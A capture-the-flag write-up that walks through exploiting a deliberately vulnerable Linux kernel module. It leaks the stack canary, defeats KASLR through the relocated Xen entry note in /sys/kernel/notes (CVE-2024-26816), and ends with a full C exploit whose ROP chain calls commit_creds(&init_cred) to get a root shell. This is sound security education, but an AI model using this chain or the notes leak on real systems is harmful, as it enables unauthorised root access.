08-xen is a Linux kernel challenge from the Kernel Exploit Dojo. There is no
driver source, so I started with hello.ko, the QEMU launch script, and the
initramfs.
The module gives us most of what a stack ROP exploit needs:
pip_read()leaks the kernel stack canary.pip_write()copies up to0x200bytes into a0x100-byte stack buffer.- A strange email check can be satisfied inside the overflow payload.
The missing part is a kernel text leak. KASLR is enabled and the obvious
sources are restricted. The challenge kernel still exposes a relocated Xen
entry-point note through /sys/kernel/notes, which gives us the kernel base.
The final chain is short:
mmap a page at 0x1337000
-> read 8 bytes from /dev/pip-pip
-> leak the stack canary
-> read startup_xen from /sys/kernel/notes
-> calculate the randomized kernel base
-> put "pip@fakemail.com" at payload + 0x100
-> restore the canary at payload + 0x110
-> overwrite saved RIP at payload + 0x118
-> pop rdi; commit_creds(&init_cred)
-> return through the KPTI swapgs/iretq trampoline
-> cat /flag and start /bin/sh as root
This post spends extra time on mmap() and the Xen note leak. The Xen leak was new to me and it took some time for me to get the
mmap payload right which was a good learning process.
1. Reading the challenge environment first
The launcher tells us which mitigations matter:
qemu-system-x86_64 \
-m 100M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "console=ttyS0 kaslr oops=panic panic=1 pti=on quiet" \
-cpu qemu64,+smep,+smap \
-monitor /dev/null \
-nographic \
-no-reboot
So the exploit has to deal with:
- KASLR, because the kernel text base changes at every boot;
- a stack canary;
- SMEP and SMAP;
- PTI/KPTI when returning to userspace.
The init script is just as important as the module:
/bin/mount -t proc proc /proc
/bin/mount -t sysfs sysfs /sys
/bin/mount -t devtmpfs devtmpfs /dev
/sbin/mdev -s
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chown root:root /flag
chmod 400 /flag
insmod /root/hello.ko
mknod -m 666 /dev/pip-pip c `grep 'pip-pip' /proc/devices | awk '{print $1;}'` 0
setsid /bin/cttyhack setuidgid 1000 /bin/sh
The shell runs as UID 1000. /proc/kallsyms and dmesg are restricted, while
the device is deliberately world-readable and world-writable. Sysfs is also
mounted at /sys; that becomes relevant later.
One lesson I keep relearning in kernel challenges is that the attack surface
is not only the .ko. The launcher decides the mitigations, and init decides
what the unprivileged process can reach.
2. Turning the decompiler output into a protocol
The device implements normal Linux file operations. The useful callback signatures are:
ssize_t pip_read(struct file *file, char __user *user_buf,
size_t count, loff_t *position);
ssize_t pip_write(struct file *file, const char __user *user_buf,
size_t count, loff_t *position);
On x86-64, the first arguments arrive in rdi, rsi, rdx, and rcx:
register callback value
-------- ---------------------------------
RDI struct file *
RSI userspace buffer address
RDX requested byte count
RCX file-position pointer
That mapping makes these two comparisons in pip_read() much easier to read:
cmp qword ptr [rsp+0x10], 0x1337000 ; saved RSI / user_buf
jne return_count
cmp qword ptr [rsp+0x08], 8 ; saved RDX / count
jne return_count
The driver is checking the pointer passed to read(), not the data stored at
that pointer. Its userspace protocol is therefore:
read(fd, address 0x1337000, exactly 8 bytes)
write(fd, address 0x1337000, at most 0x200 bytes)
That is why a normal ioctl like cmd is not enough.
3. Why mmap() is needed
I originally thought that putting 0x1337000 into a variable would satisfy
the comparison. It does not. There are two different things here:
address of a buffer where the bytes live
contents of a buffer the bytes stored there
For example:
uint64_t value = 0x1337000;
The contents of value are 0x1337000, but &value may be something like
0x7fffffffe2a8. The syscall passes &value to the driver, and the driver
compares that address with 0x1337000.
mmap() asks the kernel to create a virtual-memory mapping in the calling
process. Here I use it to reserve one page at the exact address expected by
the module:
uint8_t *buf = mmap(
(void *)0x1337000,
0x1000,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
-1,
0
);
if (buf == MAP_FAILED) {
perror("mmap");
exit(EXIT_FAILURE);
}
After this call, the process owns the virtual-address range:
0x01337000 +--------------------------------+
| leak and exploit payload |
| |
0x01337fff +--------------------------------+
The arguments are worth understanding one by one:
| Argument | Meaning in this exploit |
|---|---|
(void *)0x1337000 | Requested start address. It matches the driver's literal comparison. |
0x1000 | One 4 KiB page. We only need 0x200 bytes, but mappings operate in pages. |
PROT_READ | Userspace may read the leaked canary from this page. |
PROT_WRITE | Userspace may build the payload there, and copy_to_user() may write the leak there. |
MAP_PRIVATE | The mapping belongs privately to this process. Linux requires either private or shared mapping semantics. |
MAP_ANONYMOUS | The page is zero-filled memory, not a mapping of a file. |
MAP_FIXED | The address is mandatory instead of a hint. This is the flag that satisfies the challenge check. |
-1 | There is no backing file descriptor because the mapping is anonymous. |
0 | File offset. It is unused for an anonymous mapping. |
Why 0x133700 returned EINVAL
Normal x86-64 pages are 0x1000 bytes. A fixed mapping address therefore has
to be page-aligned:
0x1337000 % 0x1000 = 0 aligned
0x0133700 % 0x1000 = 0x700 not aligned
The missing zero changed both the address and its alignment. With
MAP_FIXED, Linux rejects the unaligned address with EINVAL.
Why sizeof(buf) is only 8
mmap() returns a pointer:
uint8_t *buf = mmap(...);
The pointer stores one virtual address, so on x86-64:
sizeof(buf) == 8; // size of the pointer
sizeof(*buf) == 1; // size of one pointed-to uint8_t
The mapping is still 0x1000 bytes. Its length is tracked by the kernel's
virtual-memory structures; it is not encoded in the C pointer.
Changing the declaration to uint64_t *buf does not fix this (this is what I did at first ;-):
sizeof(buf) == 8; // still a pointer
sizeof(*buf) == 8; // now one pointed-to uint64_t
The driver needs an explicit payload length:
write(fd, buf, 0x200);
4. pip_read() leaks its own stack canary
The decompiler makes the leak look stranger than it is. The function prologue
saves the stack protector at rsp+0x28:

The same code with semantic names is:
uint64_t saved_canary = kernel_stack_canary;
if (user_buf == (void *)0x1337000 &&
count == sizeof(saved_canary)) {
copy_to_user(user_buf, &saved_canary, sizeof(saved_canary));
}
The leak becomes:
read(fd, buf, 8);
uint64_t canary;
memcpy(&canary, buf, sizeof(canary));
printf("[*] canary: 0x%llx", canary);
The data flow is:
kernel stack at rsp+0x28
|
| copy_to_user(..., 8)
v
userspace page at 0x1337000
|
| memcpy(..., 8)
v
local uint64_t canary
5. Reversing pip_write()
pip_write() reserves 0x138 bytes and saves its canary at rsp+0x130:
sub rsp, 0x138
mov rax, qword ptr gs:[0x28]
mov qword ptr [rsp+0x130], rax
The destination passed to _copy_from_user() is only rsp+0x20:

The local body is 0x100 bytes, but the accepted count is as large as
0x200. That gives a direct kernel stack overflow.
The email check is part of the payload format
Before copying, the driver writes pip@fakemail.com at rsp+0x120. A full
0x200-byte copy starts at rsp+0x20, so our payload overwrites that string.
The driver then calls:
Which is somewhat:
static void check(char *email)
{
if (memcmp(email, "pip@fakemail.com", 0x10) != 0)
memset(email, 'a', 0x80);
}
The pointer passed to check() is calculated as:
lea rax, [rsp+0x20]
add rax, 0x100
mov rdi, rax
call check
Therefore the email has to be at payload offset 0x100.
kernel copy destination = rsp + 0x20
check pointer = rsp + 0x20 + 0x100
payload offset = 0x100
which then gets passed to the function call.

The matching payload code is:
memcpy(buf + 0x100, "pip@fakemail.com", 0x10);
memcpy(buf + 0x110, &canary, sizeof(canary));
uint64_t *rop = (uint64_t *)(buf + 0x118);
6. How to find the missing kernel leak
The module itself does not leak a kernel text pointer. Its read path gives us
only the stack canary. That means decompiling hello.ko cannot be the whole
solution.
I used the environment to narrow the search:
run.shenableskaslr.pip_write()gives saved-RIP control, so kernel addresses are the missing input for a ROP chain.initsetskptr_restrict=1anddmesg_restrict=1, closing two common leak sources. For getting kernel oops leak for example.- The same script mounts sysfs at
/sysbefore dropping to UID 1000.
The interesting thing is this line what will be explained later in this blog.
/bin/mount -t sysfs sysfs /sys
Sysfs is a virtual filesystem backed by live kernel objects and callbacks. It
is not an archive of ordinary files stored in the initramfs. After the mount,
asking the virtual file system (VFS) to read /sys/kernel/notes invokes a kernel callback that
copies bytes out of the running kernel image.
The command breaks down as:
mount -t sysfs sysfs /sys
| | |
| | +-- attach it at /sys
| +-------- conventional dummy source name
+----------------- filesystem type implemented by the kernel
If sysfs were mounted at /mnt/k, the same attribute would be reachable as
/mnt/k/kernel/notes. Without a sysfs mount, the kernel data and callback
still exist, but there is no path through which this process can open them.
Mounting sysfs is normal. BusyBox mdev -s, which runs immediately afterward,
uses sysfs to discover devices. The odd part is not that the challenge author
mounted /sys; the odd part is that this kernel exports a relocated address
through a world-readable attribute.
8. Three different things named "notes"
It helped me to keep these layers separate:
| Layer | What it is | Where it comes from |
|---|---|---|
ELF .notes | A metadata section in the linked vmlinux ELF image. | Kernel build and linker. |
sysfs notes attribute | A binary read callback registered by kernel/ksysfs.c. | Main Linux kernel code. |
/sys/kernel/notes | A pathname reaching that callback. | Visible after sysfs is mounted at /sys. |
The file is not generated by mount, and mount does not calculate any
addresses. It only exposes a kernel object that was already registered.
9. What an ELF note actually is
An ELF note is a typed metadata record. It is not executable code. Producers use notes for information that tools, loaders, debuggers, or hypervisors may need while inspecting an ELF image.
Each note begins with three 32-bit fields:
struct elf_note_header {
uint32_t name_size;
uint32_t descriptor_size;
uint32_t type;
};
The header is followed by a padded owner name and a padded descriptor:
+-----------+-----------+--------+--------------+----------------+
| namesz | descsz | type | padded name | padded value |
+-----------+-----------+--------+--------------+----------------+
Different owners can reuse the numeric type namespace. The owner GNU, for
example, can store a build ID. The owner Xen uses types defined by Xen's
public ELF-note ABI.
The supplied vmlinux has a 0x1d8-byte .notes section containing Linux,
GNU, and Xen records. The relevant record begins at section/file offset
0xbc:
/sys/kernel/notes offset | Bytes | Meaning |
|---|---|---|
0xbc | 04 00 00 00 | Owner name is 4 bytes. |
0xc0 | 08 00 00 00 | Descriptor is an 8-byte value. |
0xc4 | 01 00 00 00 | Xen note type 1. |
0xc8 | 58 65 6e 00 | Xen\0. |
0xcc | eight bytes | The startup_xen virtual address. |
Xen defines type 1 as XEN_ELFNOTE_ENTRY, the virtual entry point of a guest
kernel. This is real boot metadata. It was not invented for the challenge.
10. Why the Xen entry note exists
Linux's x86 Xen startup assembly emits the note in this compile-time branch:
#ifdef CONFIG_XEN_PV
ELFNOTE(Xen, XEN_ELFNOTE_ENTRY, _ASM_PTR startup_xen)
#endif
A Xen domain builder has to inspect a guest kernel before starting it. The notes tell it facts such as the guest OS, supported features, virtual mapping requirements, hypercall-page address, and entry point. Type 1 tells Xen where execution should begin.
The handout does not include a kernel .config, so there is no literal
CONFIG_XEN_PV=y line to grep. The compiled record itself is the evidence:
owner = Xen
type = XEN_ELFNOTE_ENTRY (1)
desc = address of startup_xen
That ELFNOTE() invocation exists below #ifdef CONFIG_XEN_PV. Finding its
exact binary output in the built-in kernel proves that the guarded code was
compiled into this image.
The challenge boots the image with QEMU rather than Xen. That does not remove the note. Xen support was compiled into a general-purpose kernel image, so the metadata remains present even when this particular boot does not use it.
11. How Linux turns .notes into /sys/kernel/notes
The linker collects the individual note records into one .notes section and
provides boundaries named __start_notes and __stop_notes.
kernel/ksysfs.c registers a binary sysfs attribute named notes. Its read
path is equivalent to:
static ssize_t notes_read(struct file *file, struct kobject *kobj,
struct bin_attribute *attr, char *buf,
loff_t off, size_t count)
{
memcpy(buf, __start_notes + off, count);
return count;
}
The attribute has mode 0444, which is why UID 1000 can read it. Once sysfs
is mounted at /sys, the registered attribute becomes
/sys/kernel/notes.
The full path is:
arch/x86/xen/xen-head.S
emits XEN_ELFNOTE_ENTRY(startup_xen)
|
v
vmlinux linker collects the record into .notes
|
v
x86 boot relocation may adjust its address descriptor
|
v
kernel/ksysfs.c copies the live section through a 0444 attribute
|
v
/sys/kernel/notes
Linux added this sysfs ABI long before this challenge. One legitimate use is
identifying the exact running kernel from note metadata such as its GNU build
ID, so tooling can match it with the right debug symbols. The kernel ABI
documentation describes the file as the binary representation of the running
vmlinux .notes section.
This also explains why kptr_restrict=1 does not hide the value. The notes
callback copies raw bytes. It does not print a pointer through %pK, so the
pointer-formatting restrictions never run.
12. How the note defeats KASLR
The linked, unrandomized image contains:
_text = 0xffffffff81000000
startup_xen = 0xffffffff83268af0
The symbol's build-specific offset is:
startup_xen - _text
= 0xffffffff83268af0 - 0xffffffff81000000
= 0x2268af0
During a vulnerable KASLR boot, x86 relocation adds the random slide to the address stored in the note:
runtime note = linked startup_xen + KASLR slide
One observed boot returned:
runtime startup_xen = 0xffffffff8d268af0
Subtracting the stable symbol offset gives the randomized text base:
runtime _text
= runtime startup_xen - 0x2268af0
= 0xffffffff8d268af0 - 0x2268af0
= 0xffffffff8b000000
The exploit only needs one pread():
static uint64_t leak_kernel_base(void)
{
int fd = open("/sys/kernel/notes", O_RDONLY);
if (fd < 0) {
perror("open /sys/kernel/notes");
exit(EXIT_FAILURE);
}
uint64_t startup_xen;
if (pread(fd, &startup_xen, sizeof(startup_xen), 0xcc)
!= sizeof(startup_xen)) {
perror("pread /sys/kernel/notes");
exit(EXIT_FAILURE);
}
close(fd);
return startup_xen - 0x2268af0;
}
Both constants are properties of this exact kernel build:
0xccis where this image lays out the Xen entry descriptor inside.notes;0x2268af0is this image'sstartup_xenoffset from_text.
A different kernel needs its own note parsing and symbol offset. Clearing low
address bits until the result looks aligned is a guess; subtracting the known
symbol offset is the reproducible calculation.

13. This is CVE-2024-26816, not a universal trick
The address disclosure is the behavior described by CVE-2024-26816. Jonathan
Corbet's LWN article When ELF notes reveal too much
is the best narrative explanation I found. It covers why the interface
predates KASLR, how startup_xen exposed the slide, and why the existing leak
scanner missed a pointer stored as binary data rather than printable text.
The initial upstream fix skipped note relocations in one relocation path. A
follow-up also had to skip SHT_NOTE sections in walk_relocs(). The useful
design decision was to preserve /sys/kernel/notes for legitimate tools while
keeping its address descriptors equal to their static System.map values.
Static linked addresses do not reveal the random runtime slide.
The challenge identifies itself as Linux 6.8.8, but the runtime behavior is
what matters: its exported startup_xen value changes with KASLR. A kernel
version string does not prove which patches or custom changes were used to
build a challenge image.

/sys/kernel/notes is only a useful KASLR leak when all of these are true:
- The kernel contains an address-bearing note, such as the Xen PV entry record.
- The address descriptor is relocated by the runtime KASLR slide.
- Sysfs is mounted somewhere visible to the process.
- The process is permitted to read the binary attribute.
- The attacker knows which symbol the value represents and its static offset.
It will not help when the kernel has no Xen PV entry note, when a fixed kernel leaves the descriptor unrelocated, when an LSM denies access, or when sysfs is not visible in the process's mount namespace.
So the reusable lesson is not "always read /sys/kernel/notes". The lesson is
to enumerate readable kernel interfaces and test whether an exported value
moves by the KASLR slide.
14. Resolving the ROP addresses
All useful addresses in exp.c were taken from the unrandomized challenge
kernel. The macro converts each static address into its runtime address:
#define KADDR(x) (kbase + ((x) - 0xffffffff81000000ULL))
For example:
static commit_creds = 0xffffffff810d5870
static kernel base = 0xffffffff81000000
symbol offset = 0x000d5870
runtime commit_creds = kbase + 0x000d5870
The final exploit resolves:
uint64_t init_cred = KADDR(0xffffffff82a575a0);
uint64_t commit_creds = KADDR(0xffffffff810d5870);
uint64_t pop_rdi = KADDR(0xffffffff81f17abf);
uint64_t swapgs_iret = KADDR(0xffffffff82001750) + 0x6d;
Every kernel address in the chain is adjusted by the leaked base. The
userspace return address is different: (uint64_t)return_to_userspace is an
address in our own process and is used only after returning back to userspace.
15. Why commit_creds(&init_cred) gives root
Linux associates each task with a struct cred containing its UID, GID,
capabilities, keyrings, and related security state. init_cred is the global
credential object used by the initial root task. It represents UID 0 with the
initial privileged capability set.
commit_creds() installs a supplied credential object as the current task's
real and effective credentials. The ROP chain runs in syscall context for the
exploit process, so "current task" is the process that called write().
Conceptually, the call is:
commit_creds(&init_cred);
The x86-64 calling convention passes the first function argument in rdi.
That gives this two-step chain:
pop rdi
-> RDI = &init_cred
-> return into commit_creds
-> current process now uses root credentials
Which eventually does:
pop rdi
jmp __x86_return_thunk
The return thunk contains a ret, so for ROP purposes it behaves like
pop rdi; ret.
The actual chain begins at payload offset 0x118:
uint64_t *rop = (uint64_t *)&buf[0x118];
*rop++ = pop_rdi;
*rop++ = init_cred;
*rop++ = commit_creds;
This is shorter than the prepare_kernel_cred(NULL) route:
prepare_kernel_cred(NULL)
-> returns a new struct cred * in RAX
-> mov RDI, RAX gadget
-> commit_creds(RDI)
Here init_cred is available at a known offset, so we can pass it directly and
avoid both prepare_kernel_cred() and the mov rdi, rax gadget. I used the
prepare_kernel_cred route in The Jumps kernel stack ROP post,
while the direct commit_creds(&init_cred) idea also appears in my
first kernel exploitation post.
16. Saving the userspace return state
After commit_creds() returns, the CPU is still executing kernel code at
privilege level 0. Jumping directly to a userspace function would trigger SMEP
because the CPU would try to execute a user page while still in kernel mode.
An iretq privilege transition needs this five-value frame:
RIP userspace instruction address
CS userspace code selector
RFLAGS userspace flags
RSP userspace stack pointer
SS userspace stack selector
Four values are saved before triggering the bug:
struct user_state {
uint64_t cs;
uint64_t ss;
uint64_t rflags;
uint64_t rsp;
};
static void save_user_state(struct user_state *state)
{
__asm__ volatile(
"mov %%cs, %0\n"
"mov %%ss, %1\n"
"pushfq\n"
"pop %2\n"
"mov %%rsp, %3\n"
: "=r"(state->cs), "=r"(state->ss), "=r"(state->rflags),
"=r"(state->rsp));
}
The userspace RIP is the address of return_to_userspace().
17. Returning through the KPTI trampoline
The exploit uses the kernel's normal return machinery rather than executing a
user page from kernelspace which is named swapgs_restore_regs_and_return_to_usermode.
uint64_t swapgs_iret = KADDR(0xffffffff82001750) + 0x6d;
The offset +0x6d enters at 0xffffffff820017bd, skipping a long list of register
pops which we otherwise need to patch and only makes our ropchain unnecessary long:
ffffffff820017bd: mov rdi, rsp
ffffffff820017c0: mov rsp, qword ptr gs:[0x6004]
ffffffff820017c9: push qword ptr [rdi+0x30] ; SS
ffffffff820017cc: push qword ptr [rdi+0x28] ; RSP
ffffffff820017cf: push qword ptr [rdi+0x20] ; RFLAGS
ffffffff820017d2: push qword ptr [rdi+0x18] ; CS
ffffffff820017d5: push qword ptr [rdi+0x10] ; RIP
ffffffff820017d8: push qword ptr [rdi] ; saved RDI
...
ffffffff8200181b: mov cr3, rdi
...
ffffffff82001820: jmp 0xffffffff82001790
ffffffff82001790: swapgs
At trampoline entry, rsp points to the qword after the trampoline address.
The exploit supplies this layout:
trampoline offset value purpose
----------------- ------------------------ ---------------------------
+0x00 0 saved RDI slot
+0x08 0 orig_ax/padding slot
+0x10 return_to_userspace userspace RIP
+0x18 user.cs userspace CS
+0x20 user.rflags userspace RFLAGS
+0x28 user.rsp userspace RSP
+0x30 user.ss userspace SS
That becomes:
*rop++ = swapgs_iret;
*rop++ = 0;
*rop++ = 0;
*rop++ = (uint64_t)return_to_userspace;
*rop++ = user.cs;
*rop++ = user.rflags;
*rop++ = user.rsp;
*rop++ = user.ss;
The trampoline copies the supplied iretq frame onto its safe per-CPU entry
stack, switches away from the kernel page table for KPTI, executes swapgs,
and reaches the native interrupt return path. iretq finally changes back to
usermode and resumes at return_to_userspace().
18. Finishing in userspace
The return target is a naked wrapper:
__attribute__((naked, noreturn))
static void return_to_userspace(void)
{
__asm__(
".intel_syntax noprefix;"
"xor rbp, rbp;"
"and rsp, ~0xF;"
"call post_exploit;"
"ud2;"
".att_syntax;");
}
It clears the stale frame pointer, aligns the restored stack for the userspace ABI, and calls normal C code:
static void post_exploit(void)
{
system("cat /flag");
system("/bin/sh");
_exit(0);
}
The commands run as root because commit_creds() changed the current task
before the trampoline returned to userspace.
19. The complete payload
Word by word, the important part of the 0x200-byte write is:
payload offset value purpose
-------------- -------------------- -----------------------------------
0x100 email[0:8] first half of pip@fakemail.com
0x108 email[8:16] second half of pip@fakemail.com
0x110 canary pass stack protector
0x118 pop_rdi first overwritten return target
0x120 init_cred argument loaded into RDI
0x128 commit_creds install root credentials
0x130 swapgs_iret+0x6d begin kernel-to-user return
0x138 0 trampoline saved-RDI slot
0x140 0 trampoline padding/orig_ax
0x148 return_to_userspace ring-3 RIP
0x150 user.cs ring-3 CS
0x158 user.rflags restored flags
0x160 user.rsp ring-3 stack
0x168 user.ss ring-3 SS
20. Why the mitigations do not stop this chain
Stack canary
pip_read() leaks the exact guard used by pip_write(). The payload restores
it at offset 0x110, so the epilogue comparison succeeds.
KASLR
The relocated startup_xen descriptor in /sys/kernel/notes gives the
runtime text base. Every kernel function and gadget is rebased with KADDR().
SMEP
Every instruction executed while the CPU is in ring 0 comes from kernel text.
The first userspace instruction runs only after the trampoline returns to ring
3 with iretq.
SMAP
The vulnerable driver uses _copy_from_user(), the intended SMAP-aware path,
to copy the payload onto the kernel stack. The ROP chain then reads only its
kernel stack; it does not dereference the mapped userspace page directly.
KPTI
The selected kernel return trampoline switches CR3 and constructs the proper
userspace interrupt frame before swapgs/iretq.
21. End-to-end exploit flow
save userspace CS, SS, RFLAGS, and RSP
-> open /dev/pip-pip
-> mmap one page at the required 0x1337000 address
-> read exactly 8 bytes
-> pip_read copies its saved stack canary to userspace
-> open /sys/kernel/notes
-> pread the Xen entry descriptor at +0xcc
-> subtract startup_xen offset 0x2268af0
-> resolve init_cred, commit_creds, and gadgets from kbase
-> place the exact 16-byte email at payload +0x100
-> restore the canary at payload +0x110
-> place the ROP chain at payload +0x118
-> write 0x200 bytes from address 0x1337000
-> pip_write overflows its 0x100-byte stack body
-> email memcmp succeeds, so no destructive memset runs
-> stack-canary comparison succeeds
-> return enters pop rdi
-> commit_creds(&init_cred) makes the current task root
-> KPTI trampoline switches back to the userspace page tables
-> swapgs and iretq return to ring 3
-> return_to_userspace prints /flag and starts a root shell
22. Full exploit
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <assert.h>
#include <sys/resource.h>
#include <sched.h>
#include <sys/mman.h>
#define KADDR(x) kbase+(x-0xffffffff81000000)
struct user_state {
uint64_t cs;
uint64_t ss;
uint64_t rflags;
uint64_t rsp;
};
static void save_user_state(struct user_state *state)
{
__asm__ volatile(
"mov %%cs, %0\n"
"mov %%ss, %1\n"
"pushfq\n"
"pop %2\n"
"mov %%rsp, %3\n"
: "=r"(state->cs), "=r"(state->ss), "=r"(state->rflags),
"=r"(state->rsp));
}
__attribute__((noreturn, noinline, used))
static void post_exploit(void)
{
system("cat /flag");
system("/bin/sh");
_exit(0);
}
__attribute__((naked, noreturn))
static void return_to_userspace(void)
{
__asm__(
".intel_syntax noprefix;"
"xor rbp, rbp;"
"and rsp, ~0xF;"
"call post_exploit;"
"ud2;"
".att_syntax;");
}
static uint64_t leak_kernel_base(void)
{
int fd = open("/sys/kernel/notes", O_RDONLY);
if (fd < 0) {
perror("open /sys/kernel/notes");
exit(EXIT_FAILURE);
}
uint64_t startup_xen;
if (pread(fd, &startup_xen, sizeof(startup_xen), 0xcc)
!= sizeof(startup_xen)) {
perror("pread /sys/kernel/notes");
exit(EXIT_FAILURE);
}
close(fd);
printf("[*] startup_xen: 0x%llx\n", startup_xen);
return startup_xen - 0x2268af0;
}
int main() {
// setup
struct user_state user;
save_user_state(&user);
int fd = open("/dev/pip-pip", O_RDWR);
uint8_t *buf = mmap(
(void *)0x1337000,
0x1000,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
-1,
0
);
if (buf == MAP_FAILED) perror("mmap"), exit(1);
read(fd, buf, 8);
uint64_t canary;
memcpy(&canary, buf, 8);
printf("[*] canary: 0x%llx\n", canary);
// leak kbase
uint64_t kbase = leak_kernel_base();
printf("[*] kbase: 0x%llx\n", kbase);
// rop entry
char email[] = "pip@fakemail.com";
memcpy(buf + 0x100, &email, 16); // minus the \0 byte
memcpy(buf + 0x110, &canary, 8); // patch the canary check
uint64_t init_cred = KADDR(0xffffffff82a575a0);
uint64_t commit_creds = KADDR(0xffffffff810d5870);
uint64_t swapgs_iret = KADDR(0xffffffff82001750) + 0x6d; // to mov rdi, rsp
uint64_t pop_rdi = KADDR(0xffffffff81f17abf);
uint64_t iretq = KADDR(0xffffffff82001f00);
uint64_t *rop = (uint64_t *)&buf[0x118];
*rop++ = pop_rdi;
*rop++ = init_cred;
*rop++ = commit_creds;
*rop++ = swapgs_iret;
*rop++ = 0;
*rop++ = 0;
*rop++ = (uint64_t)return_to_userspace;
*rop++ = user.cs;
*rop++ = user.rflags;
*rop++ = user.rsp;
*rop++ = user.ss;
write(fd, buf, 0x200);
return 0;
}

References
- When ELF notes reveal too much, Jonathan Corbet, LWN
- Linux 6.8
kernel/ksysfs.c - Linux 6.8
arch/x86/xen/xen-head.S - Xen public ELF-note ABI
- Linux ABI documentation for
/sys/kernel/notes - CVE-2024-26816
- Initial
.notesrelocation fix - Follow-up
walk_relocs()fix - Commit that added
/sys/kernel/notes - Linux credential implementation
- The Jumps: kernel stack ROP
- Kernel heap overflow with
commit_creds(&init_cred)